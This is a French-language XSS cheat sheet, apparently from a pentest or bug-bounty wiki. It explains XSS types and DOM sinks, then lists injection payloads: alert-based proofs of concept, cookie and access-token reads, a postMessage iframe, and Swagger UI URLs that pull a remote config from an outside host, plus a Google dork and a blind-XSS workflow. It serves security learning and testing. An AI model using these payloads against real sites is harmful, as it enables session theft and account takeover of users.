🍪XSS
Cross-site scripting
Dernière mise à jour
Cross-site scripting
Dernière mise à jour
Usurper l'identité ou se faire passer pour l'utilisateur victime.
Réaliser une action que l'utilisateur est capable d'effectuer.
Lire chaque données auxquelles un utilisateur peut accéder
Voler les identifiants d'un utilisateur.
Réaliser des attaques de défacement sur le site web.
Injecter des fonctions de trojan dans le site web.
On appel XSS stockée un payload de Cross-site scripting qui peut-être enregistré dans le serveur et pouvant donc impacter tous les utilisateurs visitant le site web.
Ce type de XSS est la plus dangereuse du fais du nombre d'actions nécessaires côté attaquant (1 action) et du potentiel nombre élevé de victimes.
Utiliser le username <img src=x onerror=alert(document.domain)> qui sera affiché dans plusieurs pages du site.
On appel XSS reflété un payload de Cross-Site Scripting stocké dans les données envoyées du navigateur au serveur mais que le serveur ne stock pas. Ce type de XSS est notamment utilisé dans des campagnes de phishing car elle nécessite une action de la victime.
On parle de Self XSS lorsqu'un attaquant exploite une vulnérabilité qui requière un contexte particulier nécessitant des changement manuels. La seule personne pouvant être affecté par cette XSS étant donc lui-même.
Reflected XSS vs Self XSS
Reflected XSS: d'autres utilisateurs peuvent y accéder et donc en être potentiellement victime en cas de phishing.
Self XSS: Aucun autre utilisateur que vous-même ne peut y accéder car elle requière un contexte spécifique à l'utilisateur.
Certains voir la plupart des programmes de bug bounty ne considèrent pas les Self XSS comme des vulnérabilités acceptables.
Payload dans un formulaire n'apparaissant pas dans l'url et ne pouvant donc pas servir dans des campagnes de phishing.
On appel XSS en aveugle les payload de Cross-site scripting qui ne sont pas visible directement par l'attaquant. Ces vulnérabilités résident souvent dans des pages dont seul des utilisateurs autorisés peuvent accéder (interfaces d'administration par exemple).
Comme vous pouvez vous en doutez, ces vulnérabilités sont plus complexes à mettre en place du fait de l'impossibilité pour l'attaquant de savoir si son payload a fonctionné ou non.
Pour maximiser les chances de réussite de ces attaques, les attaquants utilisent souvent des polyglots, qui sont conçues pour fonctionner dans de nombreux scénarios différents, comme dans un attribut, sous forme de texte brut ou dans une balise <script>.
Points d'injection fréquents:
Formulaire de contact
Formulaire de feedback
Username (formulaire de connexion)
User-agent (en-tête)
Dans le cas des DOM-based XSS, l'élément vulnérable n'est pas le serveur lui même mais plutôt le code JavaScript présent dans la page.
Etant donné que JavaScript est utilisé pour ajouter de l'interactivité à une page, des arguments dans l'URL peuvent parfois être utilisés pour modifier la page après son chargement. Si les entrées des utilisateurs ne sont pas (correctement) filtrés dans cette URL alors un attaquant peut injecter du code malveillant dans la page.L
document.write
window.location
document.cookie
eval()
document.domain
WebSocket
element.src
postmessage
setRequestHeader
JSON.parse
ng-app
URLSearchParams
replace()
innerHTML
location.search
addEventListener
<script>alert(document.domain)</script>
</script><script>alert(document.domain)</script>
</p><script>alert(document.domain)</script>
"><svg onload=alert(document.domain)>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert`1`>
javascript:alert(document.domain)
data:text/html;base64,<payload en base64>
"onmouseover="alert(document.domain)
'-alert(document.domain)-'
javascript:bing={};[2].find(confirm)
Exemple de requête live chat:
{"message":"<img src=x onerror=alert(document.domain)>"}
\"-alert(document.domain)}//
<><img src=x onerror=alert(document.domain)>
http://foo?'-alert(1)-'
${alert(document.domain)}
https://exemple.com/?configUrl=https://jumpy-floor.surge.sh/test.json
https://exemple.com/?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/swagger-ui/index.html?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/swagger-ui.html?url=https://jumpy-floor.surge.sh/test.yaml
https://exemple.com/api/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json
Trouver des endpoint utilisant Swagger => https://github.com/doosec101/swagger_scanner
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(document.cookie)>','*')">
ou via DOM invader:
alert(document.cookie)
alert(localStorage.getItem('access_token'))
$ nmap -p80 --script http-dombased-xss.nse
Google Dork pour trouver des formulaires de contact
site:target.com inurl:"contact" | inurl:"contactus" | inurl:"contact-us" | inurl:"contactus" | inurl:"contact_form" | inurl:"contact-form" ...
Placer un payload d'injection HTLM dans le nom ( exp: "abc><h1>attacker<h1>)
Placer payload XSSHunter dans la forme du message.
Si cela fonctionne alors on reçoit soit le résultat de l'injection HTML dans notre boîte mail, soit une alerte dans XSSHunter, soit les deux.